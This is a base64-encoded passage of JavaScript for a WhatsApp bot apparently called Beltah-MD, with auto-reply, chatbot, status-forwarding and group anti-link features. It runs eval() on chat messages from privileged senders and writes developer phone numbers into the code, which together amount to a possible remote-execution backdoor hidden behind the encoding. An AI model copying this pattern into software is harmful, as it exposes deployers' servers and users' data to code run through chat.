yAiQHMud2hhdHNhcHAubmV0Iik7CiBjb25zdCBhbGxBbGxvd2VkTnVtYmVycyA9IHN1cGVyVXNlck51bWJlcnMuY29uY2F0KHN1ZG8pOwogY29uc3Qgc3VwZXJVc2VyID0gYWxsQWxsb3dlZE51bWJlcnMuaW5jbHVkZXMoYXV0ZXVyTWVzc2FnZSk7CiB2YXIgZGV2ID0gWycyNTQxMTQxNDExOTInLCIyNTQ3Mzc2ODE3NTgiLCIyNTQ3NTkzMjg1ODEiLCcyNTQ3Mzg2MjU4MjcnXS5tYXAodCA9PiB0LnJlcGxhY2UoL1teMC05XS9nKSArICJAcy53aGF0c2FwcC5uZXQiKS5pbmNsdWRlcyhhdXRldXJNZXNzYWdlKTsKIGZ1bmN0aW9uIHJlcG9uZHJlKG1lcykgewogemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsIHsKIHRleHQ6IG1lcwogfSwgewogcXVvdGVkOiBtcwogfSk7CiB9CiBjb25zb2xlLmxvZygiXHQgW11bXS4uLntCZWx0YWgtTWR9Li4uW11bXSIpOwogY29uc29sZS5sb2coIj09PT09PT09PT09IE5ldyBtZXNzYWdlID09PT09PT09PT09Iik7CiBpZiAodmVyaWZHcm91cGUpIHsKIGNvbnNvbGUubG9nKCJtZXNzYWdlIHNlbnQgZnJvbSA6ICIgKyBub21Hcm91cGUpOwogfQogY29uc29sZS5sb2coIm1lc3NhZ2UgZnJvbSA6IFsiICsgbm9tQXV0ZXVyTWVzc2FnZSArICIgOiAiICsgYXV0ZXVyTWVzc2FnZS5zcGxpdCgiQHMud2hhdHNhcHAubmV0IilbMF0gKyAiIF0iKTsKIGNvbnNvbGUubG9nKCJ0eXBlIG9mIG1lc3NhZ2UgOiAiICsgbXR5cGUpOwogY29uc29sZS5sb2coIi0tLS0tLWVuZCBvZiB5b3VyIG1lc3NhZ2VzIC0tLS0tLSIpOwogY29uc29sZS5sb2codGV4dGUpOwogLyoqICovCiBmdW5jdGlvbiBncm91cGVBZG1pbihtZW1icmVHcm91cGUpIHsKIGxldCBhZG1pbiA9IFtdOwogZm9yIChtIG9mIG1lbWJyZUdyb3VwZSkgewogaWYgKG0uYWRtaW4gPT0gbnVsbCkgewogY29udGludWU7CiB9CiBhZG1pbi5wdXNoKG0uaWQpOwogfQogcmV0dXJuIGFkbWluOwogfQogdmFyIGV0YXQgPSBjb25mLkVUQVQ7CiBpZiAoZXRhdCA9PSAxKSB7CiBhd2FpdCB6ay5zZW5kUHJlc2VuY2VVcGRhdGUoImF2YWlsYWJsZSIsIG9yaWdpbmVNZXNzYWdlKTsKIH0gZWxzZSBpZiAoZXRhdCA9PSAyKSB7CiBhd2FpdCB6ay5zZW5kUHJlc2VuY2VVcGRhdGUoImNvbXBvc2luZyIsIG9yaWdpbmVNZXNzYWdlKTsKIH0gZWxzZSBpZiAoZXRhdCA9PSAzKSB7CiBhd2FpdCB6ay5zZW5kUHJlc2VuY2VVcGRhdGUoInJlY29yZGluZyIsIG9yaWdpbmVNZXNzYWdlKTsKIH0gZWxzZSB7CiBhd2FpdCB6ay5zZW5kUHJlc2VuY2VVcGRhdGUoInVuYXZhaWxhYmxlIiwgb3JpZ2luZU1lc3NhZ2UpOwogfQogY29uc3QgbWJyZSA9IHZlcmlmR3JvdXBlID8gYXdhaXQgaW5mb3NHcm91cGUucGFydGljaXBhbnRzIDogJyc7CiAvLyBjb25zdCB2ZXJpZkFkbWluID0gdmVyaWZHcm91cGUgPyBhd2FpdCBtYnJlLmZpbHRlcih2ID0+IHYuYWRtaW4gIT09IG51bGwpLm1hcCh2ID0+IHYuaWQpIDogJycKIGxldCBhZG1pbnMgPSB2ZXJpZkdyb3VwZSA/IGdyb3VwZUFkbWluKG1icmUpIDogJyc7CiBjb25zdCB2ZXJpZkFkbWluID0gdmVyaWZHcm91cGUgPyBhZG1pbnMuaW5jbHVkZXMoYXV0ZXVyTWVzc2FnZSkgOiBmYWxzZTsKIHZhciB2ZXJpZlpva291QWRtaW4gPSB2ZXJpZkdyb3VwZSA/IGFkbWlucy5pbmNsdWRlcyhpZEJvdCkgOiBmYWxzZTsKIC8qKiAqKiAqLwogLyoqICoqKioqICovCiBjb25zdCBhcmcgPSB0ZXh0ZSA/IHRleHRlLnRyaW0oKS5zcGxpdCgvICsvKS5zbGljZSgxKSA6IG51bGw7CiBjb25zdCB2ZXJpZkNvbSA9IHRleHRlID8gdGV4dGUuc3RhcnRzV2l0aChwcmVmaXhlKSA6IGZhbHNlOwogY29uc3QgY29tID0gdmVyaWZDb20gPyB0ZXh0ZS5zbGljZSgxKS50cmltKCkuc3BsaXQoLyArLykuc2hpZnQoKS50b0xvd2VyQ2FzZSgpIDogZmFsc2U7CiBjb25zdCBsaWVuID0gY29uZi5VUkwuc3BsaXQoJywnKTsKCiAvLyBVdGlsaXNlciB1bmUgYm91Y2xlIGZvci4uLm9mIHBvdXIgcGFyY291cmlyIGxlcyBsaWVucwogZnVuY3Rpb24gbXlib3RwaWMoKSB7CiAvLyBHw6luw6lyZXIgdW4gaW5kaWNlIGFsw6lhdG9pcmUgZW50cmUgMCAoaW5jbHVzKSBldCBsYSBsb25ndWV1ciBkdSB0YWJsZWF1IChleGNsdXMpCiAvLyBHw6luw6lyZXIgdW4gaW5kaWNlIGFsw6lhdG9pcmUgZW50cmUgMCAoaW5jbHVzKSBldCBsYSBsb25ndWV1ciBkdSB0YWJsZWF1IChleGNsdXMpCiBjb25zdCBpbmRpY2VBbGVhdG9pcmUgPSBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBsaWVuLmxlbmd0aCk7CiAvLyBSw6ljdXDDqXJlciBsZSBsaWVuIGNvcnJlc3BvbmRhbnQgw6AgbCdpbmRpY2UgYWzDqWF0b2lyZQogY29uc3QgbGllbkFsZWF0b2lyZSA9IGxpZW5baW5kaWNlQWxlYXRvaXJlXTsKIHJldHVybiBsaWVuQWxlYXRvaXJlOwogfQogdmFyIGNvbW1hbmRlT3B0aW9ucyA9IHsKIHN1cGVyVXNlciwKIGRldiwKIHZlcmlmR3JvdXBlLAogbWJyZSwKIG1lbWJyZUdyb3VwZSwKIHZlcmlmQWRtaW4sCiBpbmZvc0dyb3VwZSwKIG5vbUdyb3VwZSwKIGF1dGV1ck1lc3NhZ2UsCiBub21BdXRldXJNZXNzYWdlLAogaWRCb3QsCiB2ZXJpZlpva291QWRtaW4sCiBwcmVmaXhlLAogYXJnLAogcmVwb25kcmUsCiBtdHlwZSwKIGdyb3VwZUFkbWluLAogbXNnUmVwb25kdSwKIGF1dGV1ck1zZ1JlcG9uZHUsCiBtcywKIG15Ym90cGljCiB9OwogaWYgKG9yaWdpbmVNZXNzYWdlID09PSAiMTIwMzYzMjQ0NDM1MDkyOTQ2QGcudXMiKSB7CiByZXR1cm47CiB9CiAKIAogLy8gQVVUT19SRUFEX01FU1NBR0VTOiBBdXRvbWF0aWNhbGx5IG1hcmsgbWVzc2FnZXMgYXMgcmVhZCBpZiBlbmFibGVkLgogaWYgKGNvbmYuQVVUT19SRUFEX01FU1NBR0VTID09PSAieWVzIikgewogemsuZXYub24oIm1lc3NhZ2VzLnVwc2VydCIsIGFzeW5jIG0gPT4gewogY29uc3QgewogbWVzc2FnZXMKIH0gPSBtOwogZm9yIChjb25zdCBtZXNzYWdlIG9mIG1lc3NhZ2VzKSB7CiBpZiAoIW1lc3NhZ2Uua2V5LmZyb21NZSkgewogYXdhaXQgemsucmVhZE1lc3NhZ2VzKFttZXNzYWdlLmtleV0pOwogfQogfQogfSk7CiB9Ci8vQkVMVEFIIE1EIERJRCBFVkVSWVRISU5HICwsLERPIE5PVCBDT1BZIC4uLgppZiAoIXN1cGVyVXNlciAmJiBvcmlnaW5lTWVzc2FnZSA9PT0gYXV0ZXVyTWVzc2FnZSAmJiBjb25mLkFVVE9fUkVBQ1QgPT09ICJ5ZXMiKSB7CmNvbnN0IGVtb2ppcyA9IFsn8J+RoycsICfwn4+X77iPJywgJ+KciO+4jycsICfwn4y9JywgJ/Cfj7gnLCAn8J+blicsICfwn42BJywgJ/Cfm7DvuI8nLCAn8J+llCcsICfwn46hJywgJ/CfjrgnLCAn8J+OvCcsICfwn5SJJywgJ/Cfk78nLCAn8J+qhycsICfwn5O5JywgJ/Cfjp7vuI8nLCAn8J+qlCcsICfwn5OUJywgJ/Cfj7fvuI8nLCAn8J+SsCcsICfwn5OlJywgJ/Cfl7PvuI8nLCAn8J+TrScsICfwn5aM77iPJywgJ/Cfk48nLCAnJywgJ/CfqpsnLCAn8J+UqCcsICfim5PvuI/igI3wn5KlJywgJ/Cfk4wnLCAn8J+Xne+4jycsICfwn5SNJywgJ/CfpYEnLCAn8J+UiicsICfwn6W+JywgJ/CfkaInLCAn8J+psCcsICfwn5GhJywgJ/CfmYInLCAn8J+OiicsICfwn46JJywgJ/CfjoEnLCAn4puR77iPJywgJ/CfkYsnXQogY29uc3QgYmVsdGFocyA9IGVtb2ppc1tNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiAoZW1vamlzLmxlbmd0aCkpXQogemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsIHsKIHJlYWN0OiB7CiB0ZXh0OiBiZWx0YWhzLAoga2V5OiBtcy5rZXkKIH0KIH0pCiB9CiBpZiAoIXN1cGVyVXNlciAmJiBvcmlnaW5lTWVzc2FnZSA9PT0gYXV0ZXVyTWVzc2FnZSAmJiBjb25mLkNIQVRCT1RfSU5CT1ggPT09ICd5ZXMnKSB7CiB0cnkgewogY29uc3QgY3VycmVudFRpbWUgPSBEYXRlLm5vdygpOwogaWYgKGN1cnJlbnRUaW1lIC0gbGFzdFRleHRUaW1lIDwgbWVzc2FnZURlbGF5KSB7CiBjb25zb2xlLmxvZygnTWVzc2FnZSBza2lwcGVkOiBUb28gbWFueSBtZXNzYWdlcyBpbiBhIHNob3J0IHRpbWUuJyk7CiByZXR1cm47CiB9CgogLy8gRmV0Y2ggY2hhdGJvdCByZXNwb25zZSB1c2luZyBheGlvcwogY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBheGlvcy5nZXQoJ2h0dHBzOi8vYms5LmZ1bi9haS9ibGFja2JveCcsIHsKIHBhcmFtczogewogcTogdGV4dGUKIH0KIH0pOwoKIGNvbnN0IGtlaXRoID0gcmVzcG9uc2UuZGF0YTsKCiBpZiAoa2VpdGggJiYga2VpdGguc3RhdHVzICYmIGtlaXRoLkJLOSkgewogYXdhaXQgemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsIHsKIHRleHQ6IGtlaXRoLkJLOQogfSk7CiBsYXN0VGV4dFRpbWUgPSBEYXRlLm5vdygpOyAvLyBVcGRhdGUgdGhlIGxhc3QgbWVzc2FnZSB0aW1lCiB9IGVsc2UgewogdGhyb3cgbmV3IEVycm9yKCdObyByZXNwb25zZSBjb250ZW50IGZvdW5kLicpOwogfQogfSBjYXRjaCAoZXJyb3IpIHsKIGNvbnNvbGUuZXJyb3IoJ0Vycm9yIGZldGNoaW5nIGNoYXRib3QgcmVzcG9uc2U6JywgZXJyb3IpOwogfSAKIH0gCgogaWYgKCEgc3VwZXJVc2VyICYmIG9yaWdpbmVNZXNzYWdlID09IGF1dGV1ck1lc3NhZ2UgJiYgY29uZi5WT0lDRV9DSEFUQk9UX0lOQk9YID09PSAneWVzJykgewogdHJ5IHsKIGNvbnN0IGN1cnJlbnRUaW1lID0gRGF0ZS5ub3coKTsKIGlmIChjdXJyZW50VGltZSAtIGxhc3RUZXh0VGltZSA8IG1lc3NhZ2VEZWxheSkgewogY29uc29sZS5sb2coJ01lc3NhZ2Ugc2tpcHBlZDogVG9vIG1hbnkgbWVzc2FnZXMgaW4gYSBzaG9ydCB0aW1lLicpOwogcmV0dXJuOwogfQoKIGNvbnN0IHJlc3BvbnNlID0gYXdhaXQgYXhpb3MuZ2V0KCdodHRwczovL2FwaS5kYXZpZGN5cmlsdGVjaC5teS5pZC9haS9ncHQ0JywgewogcGFyYW1zOiB7CiB0ZXh0OiB0ZXh0ZQogfQogfSk7CgogY29uc3Qga2VpdGggPSByZXNwb25zZS5kYXRhOwoKIGlmIChrZWl0aCAmJiBrZWl0aC5zdWNjZXNzICYmIGtlaXRoLm1lc3NhZ2UpIHsKIC8vIEdlbmVyYXRlIGF1ZGlvIFVSTCBmb3IgdGhlIHJlc3BvbnNlIG1lc3NhZ2UKIGNvbnN0IGF1ZGlvVXJsID0gZ29vZ2xlVFRTLmdldEF1ZGlvVXJsKGtlaXRoLm1lc3NhZ2UsIHsKIGxhbmc6ICdlbicsIC8vIFlvdSBjYW4gbW9kaWZ5IHRoaXMgdG8gc3VwcG9ydCBhbnkgbGFuZ3VhZ2UgZHluYW1pY2FsbHkKIHNsb3c6IGZhbHNlLAogaG9zdDogJ2h0dHBzOi8vdHJhbnNsYXRlLmdvb2dsZS5jb20nCiB9KTsKCiAvLyBTZW5kIGF1ZGlvIG1lc3NhZ2UgcmVzcG9uc2Ugd2l0aCBQVFQgKHB1c2gtdG8tdGFsaykgZW5hYmxlZAogYXdhaXQgemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsIHsgYXVkaW86IHsgdXJsOiBhdWRpb1VybCB9LCBtaW1ldHlwZTogJ2F1ZGlvL21wNCcsIHB0dDogdHJ1ZSB9KTsKIAogbGFzdFRleHRUaW1lID0gRGF0ZS5ub3coKTsgLy8gVXBkYXRlIHRoZSBsYXN0IG1lc3NhZ2UgdGltZQogfSBlbHNlIHsKIHRocm93IG5ldyBFcnJvcignTm8gcmVzcG9uc2UgY29udGVudCBmb3VuZC4nKTsKIH0KIH0gY2F0Y2ggKGVycm9yKSB7CiBjb25zb2xlLmVycm9yKCdFcnJvciBmZXRjaGluZyBjaGF0Ym90IHJlc3BvbnNlOicsIGVycm9yKTsKIH0KIH0KIAoKIC8vZGV2ZWxvcG1lbnQgcGFydAogaWYgKHRleHRlICYmIHRleHRlLnN0YXJ0c1dpdGgoJzwnKSkgewogaWYgKCFzdXBlclVzZXIpIHsKIHJldHVybiByZXBvbmRyZSgiT25seSBmb3IgbXkgb3duZXIgb3IgQmVsdGFoIFRlY2ggdG8gZXhlY3V0ZSB0aGlzIGNvbW1hbmQg8J+aqyIpOwogfQogCiB0cnkgeyAKIGxldCBldmFsZWQgPSBhd2FpdCBldmFsKHRleHRlLnNsaWNlKDEpKTsgCiBpZiAodHlwZW9mIGV2YWxlZCAhPT0gJ3N0cmluZycpIHsKIGV2YWxlZCA9IHJlcXVpcmUoJ3V0aWwnKS5pbnNwZWN0KGV2YWxlZCk7IAogfQogYXdhaXQgcmVwb25kcmUoZXZhbGVkKTsgCiB9IGNhdGNoIChlcnIpIHsgCiBhd2FpdCByZXBvbmRyZShTdHJpbmcoZXJyKSk7IAogfSAKIH0KIAppZiAodGV4dGUgJiYgdGV4dGUuc3RhcnRzV2l0aCgnPicpKSB7CiAvLyBJZiB0aGUgc2VuZGVyIGlzIG5vdCB0aGUgb3duZXIKIGlmICghc3VwZXJVc2VyKSB7CiBjb25zdCBtZW51VGV4dCA9IGBUaGlzIGNvbW1hbmQgaXMgb25seSBmb3IgdGhlIG93bmVyIG9yIEJlbHRhaCB0byBleGVjdXRlIPCfmqtgOwoKIGF3YWl0IHprLnNlbmRNZXNzYWdlKG9yaWdpbmVNZXNzYWdlLCB7CiB0ZXh0OiBtZW51VGV4dCwKIGNvbnRleHRJbmZvOiB7CiBleHRlcm5hbEFkUmVwbHk6IHsKIHRpdGxlOiAi8J2QgfCdkITwnZCL8J2Qk/CdkIDwnZCHIPCdkIzwnZCDIiAsCiBib2R5OiAiUE9XRVJFRCBCWSBCRUxUQUggSEFDS0lORyBURUFNIiwKIHNvdXJjZVVybDogImh0dHBzOi8vd2hhdHNhcHAuY29tL2NoYW5uZWwvMDAyOVZhUkhEQktLbUNQS3A5QjJ1SDJGIiAsCiB0aHVtYm5haWxVcmw6ICJodHRwczovL3RlbGVncmEucGgvZmlsZS9kY2NlMmRkZWU2Y2M3NTk3Yzg1OWEuanBnIiB8fCBjb25mLkJPVF9NRU5VX0xJTkssCiBtZWRpYVR5cGU6IDEsCiBzaG93QWRBdHRyaWJ1dGlvbjogdHJ1ZSwKIHJlbmRlckxhcmdlclRodW1ibmFpbDogZmFsc2UKIH0KIH0KIH0pOwogcmV0dXJuOyAKIH0KCiB0cnkgewogbGV0IGV2YWxlZCA9IGF3YWl0IGV2YWwodGV4dGUuc2xpY2UoMSkpOwoKIC8vIElmIHRoZSBldmFsdWF0ZWQgcmVzdWx0IGlzIG5vdCBhIHN0cmluZywgY29udmVydCBpdCB0byBhIHN0cmluZwogaWYgKHR5cGVvZiBldmFsZWQgIT09ICdzdHJpbmcnKSBldmFsZWQgPSByZXF1aXJlKCd1dGlsJykuaW5zcGVjdChldmFsZWQpOwoKIC8vIFNlbmQgYmFjayB0aGUgcmVzdWx0IG9mIHRoZSBldmFsdWF0aW9uCiBhd2FpdCByZXBvbmRyZShldmFsZWQpOwogfSBjYXRjaCAoZXJyKSB7CiAvLyBJZiB0aGVyZSdzIGFuIGVycm9yLCBzZW5kIHRoZSBlcnJvciBtZXNzYWdlCiBhd2FpdCByZXBvbmRyZShTdHJpbmcoZXJyKSk7CiB9Cn0KCiAKIC8qKiAqKioqKiogZ2VzdGlvbiBhdXRvLXN0YXR1cyAqLwogaWYgKG1zLmtleSAmJiBtcy5rZXkucmVtb3RlSmlkID09PSAnc3RhdHVzQGJyb2FkY2FzdCcgJiYgY29uZi5BVVRPX1NUQVRVU19SRVBMWSA9PT0gInllcyIpIHsKIGNvbnN0IHVzZXIgPSBtcy5rZXkucGFydGljaXBhbnQ7CiBjb25zdCB0ZXh0ID0gYCR7Y29uZi5BVVRPX1NUQVRVU19NU0d9YDsKIAogYXdhaXQgemsuc2VuZE1lc3NhZ2UodXNlciwgeyAKIHRleHQ6IHRleHQsCiByZWFjdDogeyB0ZXh0OiAn8J+RuycsIGtleTogbXMua2V5IH0KIH0sIHsgcXVvdGVkOiBtcyB9KTsKIH0KCgogaWYgKG1zLmtleSAmJiBtcy5rZXkucmVtb3RlSmlkID09PSAic3RhdHVzQGJyb2FkY2FzdCIgJiYgY29uZi5BVVRPX1JFQURfU1RBVFVTID09PSAieWVzIikgewogYXdhaXQgemsucmVhZE1lc3NhZ2VzKFttcy5rZXldKTsKIH0KIGlmIChtcy5rZXkgJiYgbXMua2V5LnJlbW90ZUppZCA9PT0gJ3N0YXR1c0Bicm9hZGNhc3QnICYmIGNvbmYuQVVUT19ET1dOTE9BRF9TVEFUVVMgPT09ICJ5ZXMiKSB7CiAvKiBhd2FpdCB6ay5yZWFkTWVzc2FnZXMoW21zLmtleV0pOyovCiBpZiAobXMubWVzc2FnZS5leHRlbmRlZFRleHRNZXNzYWdlKSB7CiB2YXIgc3RUeHQgPSBtcy5tZXNzYWdlLmV4dGVuZGVkVGV4dE1lc3NhZ2UudGV4dDsKIGF3YWl0IHprLnNlbmRNZXNzYWdlKGlkQm90LCB7IHRleHQ6IHN0VHh0IH0sIHsgcXVvdGVkOiBtcyB9KTsKIH0KIGVsc2UgaWYgKG1zLm1lc3NhZ2UuaW1hZ2VNZXNzYWdlKSB7CiB2YXIgc3RNc2cgPSBtcy5tZXNzYWdlLmltYWdlTWVzc2FnZS5jYXB0aW9uOwogdmFyIHN0SW1nID0gYXdhaXQgemsuZG93bmxvYWRBbmRTYXZlTWVkaWFNZXNzYWdlKG1zLm1lc3NhZ2UuaW1hZ2VNZXNzYWdlKTsKIGF3YWl0IHprLnNlbmRNZXNzYWdlKGlkQm90LCB7IGltYWdlOiB7IHVybDogc3RJbWcgfSwgY2FwdGlvbjogc3RNc2cgfSwgeyBxdW90ZWQ6IG1zIH0pOwogfQogZWxzZSBpZiAobXMubWVzc2FnZS52aWRlb01lc3NhZ2UpIHsKIHZhciBzdE1zZyA9IG1zLm1lc3NhZ2UudmlkZW9NZXNzYWdlLmNhcHRpb247CiB2YXIgc3RWaWRlbyA9IGF3YWl0IHprLmRvd25sb2FkQW5kU2F2ZU1lZGlhTWVzc2FnZShtcy5tZXNzYWdlLnZpZGVvTWVzc2FnZSk7CiBhd2FpdCB6ay5zZW5kTWVzc2FnZShpZEJvdCwgewogdmlkZW86IHsgdXJsOiBzdFZpZGVvIH0sIGNhcHRpb246IHN0TXNnCiB9LCB7IHF1b3RlZDogbXMgfSk7CiB9CiB9CiAvKiogKioqKioqZmluIGF1dG8tc3RhdHVzICovCiBpZiAoIWRldiAmJiBvcmlnaW5lTWVzc2FnZSA9PSAiMTIwMzYzMTU4NzAxMzM3OTA0QGcudXMiKSB7CiByZXR1cm47CiB9CiAKIC8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tcmFuZy1jb3VudC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiBpZiAodGV4dGUgJiYgYXV0ZXVyTWVzc2FnZS5lbmRzV2l0aCgicy53aGF0c2FwcC5uZXQiKSkgewogY29uc3QgeyBham91dGVyT3VNZXR0cmVBSm91clVzZXJEYXRhIH0gPSByZXF1aXJlKCIuL2JkZC9sZXZlbCIpOyAKIHRyeSB7CiBhd2FpdCBham91dGVyT3VNZXR0cmVBSm91clVzZXJEYXRhKGF1dGV1ck1lc3NhZ2UpOwogfSBjYXRjaCAoZSkgewogY29uc29sZS5lcnJvcihlKTsKIH0KIH0KIAogLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8gTWVudGlvbnMgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KIAogdHJ5IHsKIAogaWYgKG1zLm1lc3NhZ2VbbXR5cGVdLmNvbnRleHRJbmZvLm1lbnRpb25lZEppZCAmJiAobXMubWVzc2FnZVttdHlwZV0uY29udGV4dEluZm8ubWVudGlvbmVkSmlkLmluY2x1ZGVzKGlkQm90KSB8fCBtcy5tZXNzYWdlW210eXBlXS5jb250ZXh0SW5mby5tZW50aW9uZWRKaWQuaW5jbHVkZXMoY29uZi5OVU1FUk9fT1dORVIgKyAnQHMud2hhdHNhcHAubmV0JykpIC8qdGV4dGUuaW5jbHVkZXMoaWRCb3Quc3BsaXQoJ0AnKVswXSkgfHwgdGV4dGUuaW5jbHVkZXMoY29uZi5OVU1FUk9fT1dORVIpKi8pIHsKIAogaWYgKG9yaWdpbmVNZXNzYWdlID09ICIxMjAzNjMxNTg3MDEzMzc5MDRAZy51cyIpIHsKIHJldHVybjsKIH0gOwogCiBpZihzdXBlclVzZXIpIHtjb25zb2xlLmxvZygnaHVtbW0nKSA7IHJldHVybiA7fSAKIAogbGV0IG1iZCA9IHJlcXVpcmUoJy4vYmRkL21lbnRpb24nKSA7CiAKIGxldCBhbGxkYXRhID0gYXdhaXQgbWJkLnJlY3VwZXJlclRvdXRlc0xlc1ZhbGV1cnMoKSA7CiAKIGxldCBkYXRhID0gYWxsZGF0YVswXSA7CiAKIGlmICggZGF0YS5zdGF0dXMgPT09ICdub24nKSB7IGNvbnNvbGUubG9nKCdtZW50aW9uIHBhcyBhY3RpZnMnKSA7IHJldHVybiA7fQogCiBsZXQgbXNnIDsKIAogaWYgKGRhdGEudHlwZS50b0xvY2FsZUxvd2VyQ2FzZSgpID09PSAnaW1hZ2UnKSB7CiAKIG1zZyA9IHsKIGltYWdlIDogeyB1cmwgOiBkYXRhLnVybH0sCiBjYXB0aW9uIDogZGF0YS5tZXNzYWdlCiB9CiB9IGVsc2UgaWYgKGRhdGEudHlwZS50b0xvY2FsZUxvd2VyQ2FzZSgpID09PSAndmlkZW8nICkgewogCiBtc2cgPSB7CiB2aWRlbyA6IHsgdXJsIDogZGF0YS51cmx9LAogY2FwdGlvbiA6IGRhdGEubWVzc2FnZQogfQogCiB9IGVsc2UgaWYgKGRhdGEudHlwZS50b0xvY2FsZUxvd2VyQ2FzZSgpID09PSAnc3RpY2tlcicpIHsKIAogbGV0IHN0aWNrZXJNZXNzID0gbmV3IFN0aWNrZXIoZGF0YS51cmwsIHsKIHBhY2s6IGNvbmYuTk9NX09XTkVSLAogdHlwZTogU3RpY2tlclR5cGVzLkZVTEwsCiBjYXRlZ29yaWVzOiBbIvCfpKkiLCAi8J+OiSJdLAogaWQ6ICIxMjM0NSIsCiBxdWFsaXR5OiA3MCwKIGJhY2tncm91bmQ6ICJ0cmFuc3BhcmVudCIsCiB9KTsKIAogY29uc3Qgc3RpY2tlckJ1ZmZlcjIgPSBhd2FpdCBzdGlja2VyTWVzcy50b0J1ZmZlcigpOwogCiBtc2cgPSB7CiBzdGlja2VyIDogc3RpY2tlckJ1ZmZlcjIgCiB9CiAKIH0gZWxzZSBpZiAoZGF0YS50eXBlLnRvTG9jYWxlTG93ZXJDYXNlKCkgPT09ICdhdWRpbycgKSB7CiAKIG1zZyA9IHsKIAogYXVkaW8gOiB7IHVybCA6IGRhdGEudXJsIH0gLAogbWltZXR5cGU6J2F1ZGlvL21wNCcsCiB9CiAKIH0KIAogemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsbXNnLHtxdW90ZWQgOiBtc30pCiAKIH0KIH0gY2F0Y2ggKGVycm9yKSB7CiAKIH0gCgoKIC8vYW50aS1saWVuCiB0cnkgewogY29uc3QgeWVzID0gYXdhaXQgdmVyaWZpZXJFdGF0SmlkKG9yaWdpbmVNZXNzYWdlKQogaWYgKHRleHRlLmluY2x1ZGVzKCdodHRwczovLycpICYmIHZlcmlmR3JvdXBlICYmIHllcyApIHsKCiBjb25zb2xlLmxvZygibGllbiBkZXRlY3TDqSIpCiB2YXIgdmVyaWZab2tBZG1pbiA9IHZlcmlmR3JvdXBlID8gYWRtaW5zLmluY2x1ZGVzKGlkQm90KSA6IGZhbHNlOwogCiBpZihzdXBlclVzZXIgfHwgdmVyaWZBZG1pbiB8fCAhdmVyaWZab2tBZG1pbiApIHsgY29uc29sZS5sb2coJ2plIGZhaXMgcmllbicpOyByZXR1cm59OwogCiBjb25zdCBrZXkgPSB7CiByZW1vdGVKaWQ6IG9yaWdpbmVNZXNzYWdlLAogZnJvbU1lOiBmYWxzZSwKIGlkOiBtcy5rZXkuaWQsCiBwYXJ0aWNpcGFudDogYXV0ZXVyTWVzc2FnZQogfTsKIHZhciB0eHQgPSAibGluayBkZXRlY3RlZCwgXG4iOwogLy8gdHh0ICs9IGBtZXNzYWdlIHN1cHByaW3DqSBcbiBAJHthdXRldXJNZXNzYWdlLnNwbGl0KCJAIilbMF19IHLDqXRpcsOpIGR1IGdyb3VwZS5gOwogY29uc3QgZ2lmTGluayA9ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vZGphbGVnYTgwMDAvWm9rb3UtTUQvbWFpbi9tZWRpYS9yZW1vdmVyLmdpZiI7CiB2YXIgc3RpY2tlciA9IG5ldyBTdGlja2VyKGdpZkxpbmssIHsKIHBhY2s6ICcnLAogYXV0aG9yOiBjb25mLk9XTkVSX05BTUUsCiB0eXBlOiBTdGlja2VyVHlwZXMuRlVMTCwKIGNhdGVnb3JpZXM6IFsn8J+kqScsICfwn46JJ10sCiBpZDogJzEyMzQ1JywKIHF1YWxpdHk6IDUwLAogYmFja2dyb3VuZDogJyMwMDAwMDAnCiB9KTsKIGF3YWl0IHN0aWNrZXIudG9GaWxlKCJzdDEud2VicCIpOwogLy8gdmFyIHR4dCA9IGBAJHthdXRldXJNc2dSZXBvbmR1LnNwbGl0KCJAIilbMF19IGEgw6l0w6kgcsOpdGlyw6kgZHUgZ3JvdXBlLi5cbmAKIHZhciBhY3Rpb24gPSBhd2FpdCByZWN1cGVyZXJBY3Rpb25KaWQob3JpZ2luZU1lc3NhZ2UpOwoKIGlmIChhY3Rpb24gPT09ICdyZW1vdmUnKSB7CgogdHh0ICs9IGBtZXNzYWdlIGRlbGV0ZWQgXG4gQCR7YXV0ZXVyTWVzc2FnZS5zcGxpdCgiQCIpWzBdfSByZW1vdmVkIGZyb20gZ3JvdXAuYDsKCiBhd2FpdCB6ay5zZW5kTWVzc2FnZShvcmlnaW5lTWVzc2FnZSwgeyBzdGlja2VyOiBmcy5yZWFkRmlsZVN5bmMoInN0MS53ZWJwIikgfSk7CiAoMCwgYmFpbGV5c18xLmRlbGF5KSg4MDApOwogYXdhaXQgemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsIHsgdGV4dDogdHh0LCBtZW50aW9uczogW2F1dGV1ck1lc3NhZ2VdIH0sIHsgcXVvdGVkOiBtcyB9KTsKIHRyeSB7CiBhd2FpdCB6ay5ncm91cFBhcnRpY2lwYW50c1VwZGF0ZShvcmlnaW5lTWVzc2FnZSwgW2F1dGV1ck1lc3NhZ2VdLCAicmVtb3ZlIik7CiB9CiBjYXRjaCAoZSkgewogY29uc29sZS5sb2coImFudGlpZW4gIikgKyBlOwogfQogYXdhaXQgemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsIHsgZGVsZXRlOiBrZXkgfSk7CiBhd2FpdCBmcy51bmxpbmsoInN0MS53ZWJwIik7IH0gCiAKIGVsc2UgaWYgKGFjdGlvbiA9PT0gJ2RlbGV0ZScpIHsKIHR4dCArPSBgR29vZGJ5ZSBcbiBAJHthdXRldXJNZXNzYWdlLnNwbGl0KCJAIilbMF19IFNlbmRpbmcgb3RoZXIgZ3JvdXAgbGlua3MgaGVyZSBpcyBwcm9oaWJpdGVkIS5gOwogLy8gYXdhaXQgemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsIHsgc3RpY2tlcjogZnMucmVhZEZpbGVTeW5jKCJzdDEud2VicCIpIH